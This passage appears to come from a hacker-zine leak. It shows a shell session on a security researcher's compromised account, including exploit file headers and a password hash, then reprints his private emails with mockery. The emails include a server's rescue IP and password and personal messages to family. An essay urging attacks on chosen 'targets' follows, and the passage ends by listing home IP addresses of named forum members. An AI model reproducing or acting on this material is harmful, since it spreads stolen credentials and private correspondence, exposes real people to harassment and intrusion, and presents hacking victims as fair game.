titiweb 26818560 2009-05-07 22:33 meder_filipe.tar 27137 -rwx------ 1 titiweb titiweb 759 2004-01-07 00:11 mremap.2.4.22.patch 27138 -rwx------ 1 titiweb titiweb 832 2004-02-18 13:50 mremap_newvuln.patch 27139 -rwx------ 1 titiweb titiweb 287867 2006-11-17 22:32 nuclear_polkka.swf 27140 -rwx------ 1 titiweb titiweb 10864 2005-11-26 21:42 obsddtd.c 27141 -rwx------ 1 titiweb titiweb 86354 2006-11-13 08:51 peur_dans_bouche_2.png 27142 -rwx------ 1 titiweb titiweb 96211 2006-11-07 15:47 peur.dans.la.bouche.png 27143 drwx------ 2 titiweb titiweb 8192 2006-05-27 11:47 ph 27144 -rwx------ 1 titiweb titiweb 244239 2006-05-27 11:55 ph-1.jpg 27145 -rwx------ 1 titiweb titiweb 116361 2005-11-26 23:39 plop.tgz 27146 -rwx------ 1 titiweb titiweb 2800 2006-07-12 23:01 prctlpute.c 27147 -rwx------ 1 titiweb titiweb 13315 2005-01-07 15:16 pwned.c 27148 -rwx------ 1 titiweb titiweb 77412 2006-06-22 10:22 rc 27149 -rwx------ 1 titiweb titiweb 165 2007-08-04 02:27 rideaux 27150 -rwx------ 1 titiweb titiweb 77460 2006-06-22 10:20 rp 27151 -rwx------ 1 titiweb titiweb 6210655 2008-02-23 19:48 sarkozy.parisien.flv 27152 -rwx------ 1 titiweb titiweb 9772994 2004-09-12 20:01 Saumon1.avi 27153 -rwx------ 1 titiweb titiweb 7688524 2004-09-12 19:56 Saumon2.avi 27154 -rwx------ 1 titiweb titiweb 1836 2004-04-21 18:46 setsockopt_detect.c 27155 -rwx------ 1 titiweb titiweb 1969 2004-04-21 01:09 setsockopt_poc.c 27156 -rwx------ 1 titiweb titiweb 592771 2005-10-22 22:02 shot00001.png 27157 -rwx------ 1 titiweb titiweb 1440018 2005-10-22 21:58 shot00001.tga 27158 -rwx------ 1 titiweb titiweb 474215 2005-10-22 22:02 shot00002.png 27159 -rwx------ 1 titiweb titiweb 1440018 2005-10-22 21:59 shot00002.tga 27160 drwx------ 2 titiweb titiweb 8192 2007-08-06 16:58 suicide 27161 -rwx------ 1 titiweb titiweb 1424 2005-12-14 00:45 tcexevppoc.c 27162 -rwx------ 1 titiweb titiweb 5295334 2007-05-27 11:32 27163 The.Pragmatic.Programmers.Programming.Ruby.2nd.pdf 27164 -rwx------ 1 titiweb titiweb 8192 2005-01-08 00:26 TTsharefile 27165 -rwx------ 1 titiweb titiweb 11580 2006-05-18 16:04 tweakcrc 27166 drwx------ 2 titiweb titiweb 8192 2008-05-21 21:55 usa 27167 -rwx------ 1 titiweb titiweb 295606 2007-04-30 10:33 wii.hack.jpg 27168 -rwx------ 1 titiweb titiweb 1893567 2004-06-18 10:55 WinSSL_Wrap_v1_17.zip 27169 titiweb@flint:/cr0/bordel$ chead -n 10 pwned.c 27170 /* 27171 * pwned.c - linux 2.4 and 2.6 sys_uselib local root exploit. PRIVATE. 27172 * it's not the best one, the ldt approach is definitively better. 27173 * discovered may 2004. no longer private because lorian/cliph/ihaquer 27174 * can lick my balls. 27175 * (c) 2004 sd <sd@fucksheep.org> 27176 * requieres cca 1gb on fs. 27177 */ 27178 27179 27180 titiweb@flint:/cr0/bordel$ ls -la *.c 27181 -rwx------ 1 titiweb titiweb 10864 2005-11-26 21:42 obsddtd.c 27182 -rwx------ 1 titiweb titiweb 2800 2006-07-12 23:01 prctlpute.c 27183 -rwx------ 1 titiweb titiweb 13315 2005-01-07 15:16 pwned.c 27184 -rwx------ 1 titiweb titiweb 1836 2004-04-21 18:46 setsockopt_detect.c 27185 -rwx------ 1 titiweb titiweb 1969 2004-04-21 01:09 setsockopt_poc.c 27186 -rwx------ 1 titiweb titiweb 1424 2005-12-14 00:45 tcexevppoc.c 27187 titiweb@flint:/cr0/bordel$ head -n 10 obsddtd.c 27188 #include <stdio.h> 27189 #include <sys/types.h> 27190 #ifndef BSD_SOURCE 27191 #include <stdint.h> 27192 #endif 27193 #include <sys/stat.h> 27194 #include <fcntl.h> 27195 #include <sys/mman.h> 27196 #include <stdlib.h> 27197 #include <unistd.h> 27198 titiweb@flint:/cr0/bordel$ head prctlpute.c -nprctlpute.c prctlpute.c 27199 1prctlpute.c 0prctlpute.c prctlpute. 27200 27201 /* Linux >= 2.6.13 prctl kernel exploit 27202 * 27203 * (C) Julien TINNES 27204 * 27205 * If you read the Changelog from 2.6.13 you've probably seen: 27206 * [PATCH] setuid core dump 27207 * 27208 * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per 27209 process, 27210 * user setable argument to PR_SET_DUMPABLE. 27211 * 27212 titiweb@flint:/cr0/bordel$ cat suicide/.htpasswd 27213 toto:URweIEHAX3dcI 27214 titiweb@flint:/cr0/bordel$ cd 27215 titiweb@flint:$ ls -la 27216 total 88 27217 drwx------ 8 titiweb titiweb 8192 2009-06-10 17:17 . 27218 drwx------ 3 titiweb titiweb 8192 2009-07-11 14:50 .. 27219 drwx------ 2 titiweb titiweb 8192 2003-08-02 15:26 acidcorp 27220 -rwx------ 1 titiweb titiweb 1801 2009-05-20 10:24 .bash_history 27221 drwx------ 2 titiweb titiweb 8192 2008-04-01 18:44 cgi-bin 27222 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 cr0 27223 drwx------ 2 titiweb titiweb 8192 2004-10-21 18:01 .lftp 27224 drwx------ 2 titiweb titiweb 8192 2008-10-14 11:03 .ssh 27225 -rwx------ 1 titiweb titiweb 0 2008-07-08 19:56 .subttlog 27226 -rwx------ 1 titiweb titiweb 13036 2009-05-20 00:17 .viminfo 27227 drwx------ 2 titiweb titiweb 8192 2009-06-10 17:06 www 27228 titiweb@flint:$ ls -la .lftp/ 27229 total 24 27230 drwx------ 2 titiweb titiweb 8192 2004-10-21 18:01 . 27231 drwx------ 8 titiweb titiweb 8192 2009-06-10 17:17 .. 27232 -rwx------ 1 titiweb titiweb 84 2004-10-21 18:01 cwd_history 27233 titiweb@flint:$ cat .lftp/pwcwd_history 27234 ftp://piaf@cr0.net 27235 1098378101:/home/piaf/DataRescue.IDA.Pro.v4.7.0.830.Standard-SSG 27236 titiweb@flint:$ exit 27237 27238 /*********************************************************************** 27239 * 27240 * You guys get how that hosting works, right? 27241 * 27242 * Time for some emails. There are some technical ones, and a lot of him 27243 * and his girl chatting. 27244 * 27245 * Julien has interesting chats with security people, potential employers 27246 * (Google, ImmunitySec), and of course, his girlfriend 27247 * 27248 * For the French, we got translations from the other famous francophone 27249 * Julien: Julien Vanegue. 27250 * 27251 * Or we make much good use babelfish quality translation device, yes? :( 27252 * 27253 ***********************************************************************/ 27254 27255 From: Pierre BETOUIN <pbt@security-labs.org> 27256 To: Julien TINNES <jt@cr0.org> 27257 In-Reply-To: <200807222141.56298.jt@cr0.org> 27258 Content-Type: text/plain; 27259 charset=ISO-8859-1; 27260 format=flowed; 27261 delsp=yes 27262 Content-Transfer-Encoding: quoted-printable 27263 Mime-Version: 1.0 (Apple Message framework v930.3) 27264 Subject: =?ISO-8859-1?Q?Re:_Faire_de_la_s=E9curit=E9_chez_Apple?= 27265 Date: Tue, 23 Dec 2008 21:28:22 +0100 27266 References: <200807211325.04148.jt@cr0.org> 27267 <1C11851B-5F06-481D-A746-08976EA562F8@security-labs.org> 27268 <200807222141.56298.jt@cr0.org> 27269 X-Mailer: Apple Mail (2.930.3) 27270 X-Country: FR,Proxad 27271 X-Country: 79.99.164.17 27272 X-Length: 4379 27273 X-UID: 4499 27274 X-KMail-Filtered: 869004 27275 Status: RO 27276 X-Status: RC 27277 X-KMail-EncryptionState: 27278 X-KMail-SignatureState: 27279 X-KMail-MDN-Sent: 27280 X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.1.5 27281 27282 Hello Julien, 27283 27284 J'ai entendu dire que tu =E9tais parti chez Google ? Tu es dans quel =20 27285 pays ? 27286 =C7a se passe bien, content de ton job ? 27287 A+ 27288 27289 Pierre 27290 27291 On Jul 22, 2008, at 9:41 PM, Julien TINNES wrote: 27292 27293 > On Monday 21 July 2008, you wrote: 27294 >> Salut Julien, 27295 >> 27296 >> Est-ce que tu es bon au niveau du visa pour les US ? Ils sont devenus 27297 >> vraiment 27298 >> difficile =E0 obtenir, et c'est particuli=E8rement vrai depuis 1 an =20= 27299 27300 >> 1/2... 27301 >> (ce sont des visa 27302 >> H1B en g=E9n=E9ral). 27303 >> 27304 > 27305 > Salut Pierre, 27306 > 27307 > en fait pour les USAs, il est en effet tr=E8s difficile d'obtenir un =20= 27308 27309 > visa, mais 27310 > une condition n=E9cessaire est qu'une soci=E9t=E9 de sponsorise pour = 27311 cela. =20 27312 > Donc 27313 > c'est un peu le probl=E8me de la poule et de l'oeuf :) 27314 > En gros l'id=E9e ca serait =E9ventuellement de d=E9marrer en France = 27315 pour =20 27316 > partir aux 27317 > US une fois le visa acquis. 27318 > 27319 >> Il y a beaucoup d'=E9quipes diff=E9rentes chez Apple o=F9 tu peux = 27320 trouver =20 27321 >> de 27322 >> la 27323 >> s=E9cu, mais celle qui pourrait t'int=E9resser le plus je pense est 27324 >> CoreOS. Je ne 27325 >> sais pas s'ils ouvrent des positions en ce moment, mais je peux 27326 >> regarder en 27327 >> interne et te tenir au courant si je vois qqch. 27328 > 27329 > Je veux bien, ca m'int=E9resse beaucoup. Tu es dans quelle =E9quipe, = 27330 toi ? 27331 > 27332 >> 27333 >> J'ai entendu dire que =E7a bougeait bcp chez FT/Orange en ce moment ? 27334 > 27335 > Oui, c'est simple en s=E9curit=E9 presque tout le monde s'en va. 27336 > 27337 >> Fais un tour aussi sur http://www.apple.com/jobs/us/pro/. 27338 > 27339 > J'avais regard=E9 et j'avais en effet vu une offre qui m'int=E9ressait. = 27340 =20 27341 > Cependant 27342 > je ne sais pas trop comment ca marche pour postuler =E0 un job US =20 27343 > depuis la 27344 > France.. 27345 > 27346 >> 27347 >> Tu as pris contact avec des gens aussi chez Google ? Leurs recruteurs 27348 >> sont tr=E8s 27349 >> actifs, notamment sur LinkedIn... Ils cherchent aussi pour l'Irlande 27350 >> ou la Suisse. 27351 > 27352 > Oui j'investigue la piste Google en parall=E8le, apparement maintenant = 27353 =20 27354 > en 27355 > Europe, tout est en Suisse, ce qui ne me tentait pas trop. 27356 > 27357 >> Tu as des contacts avec K ? Il doit =EAtre pas mal au courant de ce = 27358 qui 27359 >> se fait aux 27360 >> US aussi je pense. 27361 > 27362 > Il faudrait effectivement que je vois de ce cot=E9 l=E0 aussi. 27363 > 27364 > Merci pour les infos, et tiens moi au courant si tu tombes sur =20 27365 > quelques chose! 27366 > 27367 > PS: sinon tu en es content de ton job chez Apple? 27368 > 27369 > --=20 27370 > Julien TINNES 27371 > http://www.cr0.org 27372 27373 From: =?iso-8859-1?Q?Fr=E9d=E9ric_VANNI=C8RE?= <f.vanniere@planet-work.com> 27374 To: "Julien TINNES" <julien@cr0.org> 27375 User-Agent: SquirrelMail/1.4.15 27376 MIME-Version: 1.0 27377 Content-Type: text/plain; 27378 charset=iso-8859-1 27379 Content-Transfer-Encoding: 8bit 27380 X-Priority: 3 (Normal) 27381 Importance: Normal 27382 X-Country: 79.99.160.21,FR,Planet-Work,Planet-Work,Unknown 27383 X-Country: 79.99.160.30 27384 X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.1.5 27385 X-UID: 27386 27387 Salut, 27388 27389 Le serveur est en mode rescue : 27390 IP : 79.99.160.142 27391 mot de passe: tmp123 27392 27393 tu es sous une debian etch avec ce qu'il faut pour installer une ubuntu 27394 La config de ton serveur (IPs, DNS ...) est dans configs/ et debootstrap 27395 peut 27396 installer une ubuntu. 27397 27398 Fred 27399 27400 27401 27402 Le Dim 14 décembre 2008 21:14, Julien TINNES a écrit : 27403 > 27404 >> Comme tous les autres serveurs. mais là ça foire et je regarderai en 27405 >> début de semaine sur place. Une fois l'install terminée je pourrai 27406 >> désactiver le boot PXE . 27407 > 27408 > Ahh donc en fait elle ne boote pas sur un kernel stocké localement mais 27409 > sur un 27410 > kernel stocké sur un serveur TFTP et du coup la elle ne boote pas du tout, 27411 > c'est bien ca? :) 27412 > 27413 > Merci, et pense à te reposer un peu le WE! :) 27414 > 27415 27416 27417 -- 27418 Frédéric VANNIERE 27419 Directeur Technique 27420 27421 PLANET-WORK 27422 231 rue Saint-Honoré 27423 75001 PARIS - FRANCE 27424 27425 From: Sami Koivu <sami.koivu@gmail.com> 27426 To: Julien TINNES <julien@cr0.org> 27427 Cc: jt@cr0.org 27428 Content-Type: multipart/alternative; 27429 boundary=0015175cb85ab0a6380465708141 27430 X-Country: US,Google 27431 X-Country: 79.99.164.17 27432 X-Length: 9198 27433 X-UID: 4701 27434 X-KMail-Filtered: 870471 27435 Status: RO 27436 X-Status: OC 27437 X-KMail-EncryptionState: 27438 X-KMail-SignatureState: 27439 X-KMail-MDN-Sent: 27440 X-Bogosity: Unsure, tests=bogofilter, spamicity=0.500000, version=1.1.5 27441 27442 --0015175cb85ab0a6380465708141 27443 Content-Type: text/plain; charset=ISO-8859-1 27444 Content-Transfer-Encoding: quoted-printable 27445 27446 Hi Julien, 27447 27448 Wow, congrats! Nice job. :) Once the dust settles, I'd be interested in the 27449 details of your exploit. 27450 27451 I would have to say, I am interested, yes. How would you feel about a 50-50 27452 split? Or in case the amount is very small, I'm willing to give you the 27453 bear's share so you can cover your expenses. 27454 27455 Seems very interesting! And congratulation on finding such a great 27456 > amount on vulnerabilities. 27457 > 27458 27459 Thanks. Some of them are minor issues, but the interesting bit is that the 27460 mechanism of every single one is different from the others. 27461 27462 Cheers, 27463 Sami 27464 27465 On Wed, Mar 18, 2009 at 11:24 PM, Julien TINNES <julien@cr0.org> wrote: 27466 27467 > Sami Koivu a =E9crit : 27468 > > Hi Julien, 27469 > > 27470 > > Thanks for letting me know. And I don't think you need my permission to 27471 > > exploit the vulnerability, but you have it. Good luck. :) 27472 > 27473 > Hey Sami, 27474 > 27475 > thanks for this! So my weaponized exploit worked very well and I won 27476 > both the Safari and Firefox contest (with the same bug, but apparently 27477 > it's not considered cheating). 27478 > 27479 > Unfortunately since the vulnerability has already been reported it 27480 > doesn't strictly speaking qualify, but Tipping Point seems to still be 27481 > interested to handle the disclosure of this bug from now on and to give 27482 > some money for that. 27483 > 27484 > Would you be interested ? The amount would probably be around 5000 USD 27485 > (maybe less because it's already disclosed). 27486 > Basically it's free cash, it only means not talking about this bug 27487 > before Apple patches it and ZDI releases an advisory. 27488 > I would be perfectly happy with a smaller share than yours that would 27489 > just cover my expenses here at CanSec, it's your bug :) 27490 > 27491 > I am not normally into "selling" exploits, but in this situation it's 27492 > basically just free cash.. 27493 > 27494 > Some infos about the contest: 27495 > http://dvlabs.tippingpoint.com/blog/2009/02/25/pwn2own-2009 27496 > 27497 > Julien 27498 > 27499 > > As for privileged deserialization code, there's another bug (I have 27500 > > about 5 unfixed vulnerabilities still open at sun) which allows just 27501 > > that, but it's difficult to set up, only runs on windows, uses the 27502 > > system classloader (I couldn't figure any way around this and thus 27503 > > couldn't get my custom classloader exploit to work) and as a whole is a 27504 > > lot less cleaner than the Calendar vuln. 27505 > > 27506 > > Might not be worthwhile, but if you're interested I can pass the detail= 27507 s 27508 > > to you. 27509 > 27510 > Seems very interesting! And congratulation on finding such a great 27511 > amount on vulnerabilities. 27512 > 27513 > Cheers, 27514 > 27515 > Julien 27516 > 27517 27518 /* Those guys sure had a lot to chat about, it kept going, that's a taste */ 27519 27520 From: alexm <alexm@immunityinc.com> 27521 Reply-To: alexm@immunityinc.com 27522 User-Agent: Thunderbird 2.0.0.21 (X11/20090318) 27523 MIME-Version: 1.0 27524 To: alexm@immunityinc.com 27525 CC: Julien TINNES <julien@cr0.org>, 27526 alex.mcgeorge@immunityinc.com, 27527 jt@cr0.org 27528 Subject: Re: My e-mail address 27529 References: <20090320192712.GA2528@cr0.org> <49C41DEE.8090801@immunityinc.com> 27530 In-Reply-To: <49C41DEE.8090801@immunityinc.com> 27531 X-Enigmail-Version: 0.95.0 27532 Content-Type: text/plain; 27533 charset=ISO-8859-1 27534 Content-Transfer-Encoding: 7bit 27535 X-Country: US,TERRENAP DATA CENTERS 27536 X-Country: 79.99.164.17 27537 X-Length: 2391 27538 X-UID: 4705 27539 X-KMail-Filtered: 870475 27540 Status: RO 27541 X-Status: OC 27542 X-KMail-EncryptionState: 27543 X-KMail-SignatureState: 27544 X-KMail-MDN-Sent: 27545 X-Bogosity: Ham, tests=bogofilter, spamicity=0.000744, version=1.1.5 27546 27547 Julien, 27548 27549 So sorry, it was a long conference and Justin from Immunity was standing 27550 right next to me when I was writing this e-mail, didn't mean to call you 27551 by the wrong name :) 27552 27553 Cheers, 27554 -AlexM 27555 27556 alexm wrote: 27557 > Justin, 27558 > 27559 > Yes absolutely, I'll forward your information on to Dave and Justine. 27560 > 27561 > Cheers, 27562 > -AlexM 27563 > 27564 > Julien TINNES wrote: 27565 > 27566 >> Hi Alex, 27567 >> 27568 >> here's my email address since I had no business card when we met on 27569 Wednesday. 27570 >> I'm the french guy who knows Kostya and Nicolas if you don't remember. 27571 >> 27572 >> It was nice meeting you 27573 >> 27574 >> Cheers, 27575 >> 27576 >> Julien 27577 >> 27578 >> 27579 > 27580 > 27581 27582 -- 27583 Alex McGeorge 27584 Senior Security Researcher 27585 Immunity, Inc 27586 27587 Date: Mon, 9 Mar 2009 21:49:09 +0100 27588 From: Julien TINNES <julien@cr0.org> 27589 To: spender@grsecurity.net 27590 Subject: Information leakage through /proc/pid/stat 27591 Message-ID: <20090309204909.GA19624@cr0.org> 27592 Mime-Version: 1.0 27593 Content-Type: text/plain; 27594 charset=us-ascii 27595 Content-Disposition: inline 27596 User-Agent: Mutt/1.5.9i 27597 X-Country: FR,Planet-Work 27598 X-Country: 79.99.164.17 27599 X-Length: 2258 27600 X-UID: 4673 27601 X-KMail-Filtered: 870443 27602 Status: RO 27603 X-Status: OAC 27604 X-KMail-EncryptionState: 27605 X-KMail-SignatureState: 27606 X-KMail-MDN-Sent: 27607 X-Bogosity: Unsure, tests=bogofilter, spamicity=0.499639, version=1.1.5 27608 27609 Hi spender, 27610 27611 my collegue Tavis Ormandy found out that while recent Linux kernels will 27612 blank /proc/pid/maps from other uids they forgot about /proc/pid/stat 27613 that will leak out eip and esp (cf. ps -eo pid,esp,eip). 27614 27615 I thought grsecurity might be vulnerable as well, and indeed, it seems to be 27616 the 27617 case. It's a very minor same-uid information leak, but it also should be 27618 an easy fix. 27619 27620 Otherwise, how are you ? It has been a long time without chatting with 27621 you! Any chances you might come at CanSecWest this year? 27622 27623 Cheers, 27624 27625 From: julien <julien@cr0.org> 27626 User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051013) 27627 X-Accept-Language: en-us, en 27628 MIME-Version: 1.0 27629 To: Theo de Raadt <deraadt@cvs.openbsd.org> 27630 Subject: Re: [Security] Bypassing w^x on i386 through far ret 27631 References: <200512202048.jBKKm9pT011406@cvs.openbsd.org> 27632 In-Reply-To: <200512202048.jBKKm9pT011406@cvs.openbsd.org> 27633 Content-Type: text/plain; charset=ISO-8859-1 27634 Content-Transfer-Encoding: 7bit 27635 27636 Theo de Raadt wrote: 27637 > the guys working on fixing this are still busy doing so. it's not 27638 > the easiest thing to fix right. but we have something being worked 27639 > on.. 27640 27641 Ok, thanks for the information. 27642 I understand that you need quite heavy changes to fix this. 27643 27644 From: julien <julien@cr0.org> 27645 User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051013) 27646 X-Accept-Language: en-us, en 27647 MIME-Version: 1.0 27648 To: pageexec@freemail.hu 27649 Subject: OpenBSD to fix unbounded code segments in G/LDT 27650 Content-Type: text/plain; charset=ISO-8859-1 27651 Content-Transfer-Encoding: 7bit 27652 27653 Hello pipacs, 27654 27655 while reviewing (censoring ;) my article about HIPS and address space 27656 protection mecanisms, my company expressed concerns that OpenBSD team 27657 might not be aware of the far ret issue and asked me to talk to them 27658 about it. 27659 27660 I mailed Theo with a PoC, and I was surprised to see that he answered me 27661 quickly, telling me that they were working on the issue. 27662 27663 So it may seem that they were unaware of it! However, when I told you 27664 about this, you pointed me to an email you wrote after a Theo's 27665 presentation where you were pointing out a lot of issues in W^X 27666 approach, including the far ret issue. 27667 27668 So I don't know what to think about it. Maybe they never read this email 27669 of yours (they might not read daily dave, I don't think they're very 27670 friendly with immunity ;) 27671 27672 I thought they were staying on their position, but in fact, maybe 27673 they're not even aware that they need a less privilege approach and to 27674 restrict mprotect as well.. 27675 27676 Have you already discussed about this with them ? 27677 27678 In other words, in your opinion, do they have a knowledge problem, or a 27679 'personal' approach to "security"? 27680 27681 From: julien <julien@cr0.org> 27682 User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050404) 27683 X-Accept-Language: en-us, en 27684 MIME-Version: 1.0 27685 To: sofia.mejia@cr0.org 27686 Subject: Hi from Vegas! 27687 Content-Type: text/plain; charset=ISO-8859-1; format=flowed 27688 Content-Transfer-Encoding: 8bit 27689 27690 Coucou ma petite puce! 27691 27692 Je suis actuellement en pleine conférence. Tout se passe super bien, le 27693 Caesar palace est vraimen impressionant. 27694 27695 C'est hallucinant de luxe de grandeur, etc... Les salles pour les conf 27696 sont absolument immenses. 27697 Il y a des tas de trucs délicieux à manger partout, c'et vraiment super. 27698 27699 27700 Je t'embrasse tres fort 27701 27702 Je t'aime 27703 27704 From: Julien TINNES <julien@cr0.org> 27705 User-Agent: Thunderbird 2.0.0.19 (X11/20090105) 27706 MIME-Version: 1.0 27707 To: Brigitte <brigti@free.fr> 27708 Subject: Re: Deux trois photos 27709 References: <49B31C13.3070207@cr0.org> 27710 <5094CADC40984BFBAE2C305E9A77621F@PCdeBrigitte> 27711 In-Reply-To: <5094CADC40984BFBAE2C305E9A77621F@PCdeBrigitte> 27712 Content-Type: text/plain; charset=ISO-8859-1 27713 Content-Transfer-Encoding: 8bit 27714 27715 Brigitte a écrit : 27716 > super apparte !!! avec un beau téléphone ... mais j'ose pas t'appeler de 27717 > peur de te réveiller . 27718 > Aujourd'hui on va au resto avec papi et maie et Claire pour fêter son 27719 > annive . 27720 > Tu vas nous manquer . 27721 > j'espère que tu vas bien 27722 > Gros gros bisous 27723 27724 Coucou maman! 27725 27726 Tu peux appeler maintenant si tu veux, je viens de rentrer! 27727 Sinon appelle dimanche soir (pour vous), mais pas avant 20h si possible :) 27728 27729 Gros bisous! 27730 27731 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 27732 27733 Who can't fall for a guy who ends his emails with "Je t'aime" or "Gros bisous" 27734 or "Ton petit canard"? 27735 27736 Cheers Julien! 27737 27738 27739 | 27740 \ / _\/_ 27741 Scene check .-'-. //o\ _\/_ 27742 -- / \ -- | /o\\ 27743 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 27744 Stay on top but remain from the underground | 27745 27746 Here's a small excerpt from the latest Phrack, containing a couple of 27747 interesting statements. Jesus this editor really needs an editor. 27748 27749 > We didn't get any news from the Underground since our last phrack issue, 27750 > it means that one more time all the news reports are coming from 27751 > friends of our's. 27752 27753 > It would be good if people who claim themself "underground" would send 27754 > us their news... 27755 27756 > Is our underground dead? (apparently yes...) 27757 27758 Did you not see ZF04? 2l8? Geist? The underground is here. The news is getting 27759 around, with or without you. (Shouts to the hardcore at 2l8, geist, h0no, 27760 dikline, everyone who didn't want to be named, and everyone else) 27761 27762 This year is retro. Lots of hacks. Brings a warmth to our hearts. And pr0j3kt 27763 m4yh3m is back, the kids have taken it up. It's probably temporary, and it 27764 might just be the latest way for a bunch of people to try to get attention. 27765 We'd like to hope that it is not just a fad, that some people are really 27766 behind it and genuinely want to exit the skiddie scene. If we can give one 27767 piece of advice though, it's that even in pr0j3kt m4yh3m--nay, especially in 27768 pr0j3kt m4yh3m, some targets are more worthy of your time than others. It's 27769 a black and white world, where some white is worse than others and really 27770 needs to be hit. 27771 27772 The other side of that is that some white is better than others. Even people 27773 who thoroughly support the pr0j3kt will grudgingly acknowledge that there are 27774 some whitehats that we don't need to despise and attack. One particular group 27775 that we have trouble coming to terms with is hackers who moonlight as security 27776 professionals. The worst kept secret in the scene is the huge prevalence of 27777 underground characters who play whitehat during the day and hacker at night. 27778 We can slag them all for deluding the scene for years and spreading rhetoric 27779 that contradicts their actions. But we won't, too much. 27780 27781 We aren't here to criticize. In many cases, we're talking about our betters 27782 and/or our elders. We recognize your talent. You're good and you deserve to be 27783 paid for your expertise. But we need some new kind of morality. Maybe now it's 27784 cool to hire blackhats, like a bribery thing. Pay a nice wage to a former 27785 blackhat, for his skills not his leaks, and the scene will leave you alone 27786 more. Buy two blackhats and we'll give you a free slurpee. This kind of 27787 understanding could work as long as it is respectful: you and your hacker 27788 cannot abuse the underground. Don't leak, don't kill our bugs, keep us a little 27789 bit informed, let the hacker share his research with his friends. You gotta 27790 give a little back to the scene, you know? Everytime a blackhat moves up, it 27791 hurts the scene. He loses valuable hacking time. He gets compensated, but we 27792 don't, so we are a little bitter. But that's the way it is. If you can hire 27793 talent in a way that minimizes the damage to the scene, we can respect that. It 27794 wouldn't be pr0j3kt m4yh3m anymore, it'd be Project Reality. We can save the 27795 fury of pr0j3kt m4yh3m for those who do not comply and who pretend that the 27796 underground does not matter. 27797 27798 That goes for purebred whitehats too. If you have a (proper) blackhat friend, 27799 that goes a long way to keeping you from ending up in one of these. Discuss 27800 techniques, offer advice, and never turn on him. 27801 27802 To all the new kids out there: learn to code really well. Knowing how to hack 27803 pigeon holes you into doing security or admin work (and who really wants to do 27804 admin work?). But if you can hack and code REALLY well, you have *many* more 27805 options to explore. But the most important thing to remember is to hack and 27806 have fun. Once you quit having fun with this, it's a job. And that's not the 27807 spirit of hacking at all. Not at all. 27808 27809 Maybe the scene is rebounding. Really, the only thing we can do is hack 27810 together or not hack together. As long as we have the smarts to rm others and 27811 not rm ourselves, let the good times roll. 27812 27813 27814 | 27815 \ / _\/_ 27816 blackhat-forums .-'-. //o\ _\/_ 27817 -- / \ -- | /o\\ 27818 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 27819 RAPE, MURDER! | 27820 It's just a shot away 27821 It's just a shot away 27822 27823 27824 The black hat forums have been around for a long time. This forum is one big shitfest 27825 after another. In some skiddie forums we find one or two people who are actually skilled 27826 but in the case of blackhat forums there was not one member among them with the ability 27827 to do anything. The admins seem to be motivated by money and/or the hacker "image". This 27828 forum is nothing but a black hole of posturing, lying, and drama. There is so much 27829 emphasis put on keeping things private and not publishing any exploits or helping the 27830 security industry, yet your admins make deals with them to run their google ads and they 27831 release tutorials and pdf's directly to all the security mailing lists and exploit sites. 27832 27833 If the members can't realize the hypocrisy that is being blatantly executed right in 27834 front of their noses then they no longer deserve to exist. In the course of the few 27835 years that zf0 has been 0wning and Rming skiddies and media whores a general trend has 27836 started to emerge. The underground scene is getting stronger and more organized with 27837 greater team work and the public skiddie scene is slowly rotting itself into nothingness. 27838 All of the major sites have been rm'ed to death and are no longer producing anything with 27839 quality information. A lot of this is directly related to death of rgod and lack of web 27840 based exploits being publicly released. 27841 27842 Some LAME people of note are: 27843 27844 Aelphaeis_Mangarae - Lame ass never hacked shit, can't do shit. 27845 RoMeO - watch out photobucket "anti-sec" is cuming for your imagez!! 27846 r0rkty - Only person who still gives a shit about BHF. 27847 27848 In this article we have: 27849 27850 I. ADMIN HOME IP's Sniffed US1ng tor 0dayz 27851 II. ADMIN HASHES FOR LULZ 27852 III. Aelphaeis_Mangarae's GREEDY MONEY GRUBBING PM's and MAIL SPO0lz 27853 IV. r0rkty and RoMeO's Luv AFFAIRZ 27854 V. HACKLOG 27855 VI. BHF RMED 27856 VII. CONCLUSION 27857 27858 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27859 BHFOWNEDANDRMED BHFOWNEDANDRMED 27860 BHFOWNEDANDRMED ADMINS HOME IPS?!>! BHFOWNEDANDRMED 27861 BHFOWNEDANDRMED Fire UP NMAP AND NESSUS DBAUTOPWN++ BHFOWNEDANDRMED 27862 BHFOWNEDANDRMED BHFOWNEDANDRMED 27863 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27864 27865 poh n0es!! sn1ffed using anti-t0r 0dayz BLACKHAT HOME IP ADDRS!!!! 27866 Feel fr33to soci4l deets from hosting pr0viDers: 27867 27868 webdevil -------My Home IP-------> 62.150.15.26 27869 RoMeO -------My Home IP-------> <Not listed, you can thank us later> 27870 RoMeO -------My Home IP-------> <Not listed, no fed tipoffs from us> 27871 r0rkty -------My Home IP-------> 85.240.130.19 27872 r0rkty -------My Home IP-------> 85.240.136.102 27873 r0rkty -------My Home IP-------> 85.240.133.11 27874 r0rkty -------My Home IP-------> 85.240.135.199 27875 r0rkty -------My Home IP-------> 85.240.142.6 27876 r0rkty -------My Home IP-------> 85.240.132.171 27877 r0rkty -------My Home IP-------> 85.240.128.155 27878 r0rkty -------My Home IP-------> 85.240.145.32 27879 r0rkty -------My Home IP-------> 85.240.131.218 27880 ParanoidE -------My Home IP-------> 190.200.48.7 27881 ParanoidE -------My Home IP-------> 190.73.229.212 27882 ParanoidE -------My Home IP-------> 190.73.240.169 27883 ParanoidE -------My Home IP-------> 190.200.46.58 27884 Greatfox -------My Home IP-------> 89.181.20.131 27885 edu19 -------My Home IP-------> 201.64.54.4 27886 Edu19 -------My Home IP-------> 200.210.190.73 27887 Cj -------My Home IP-------> 189.177.26.200 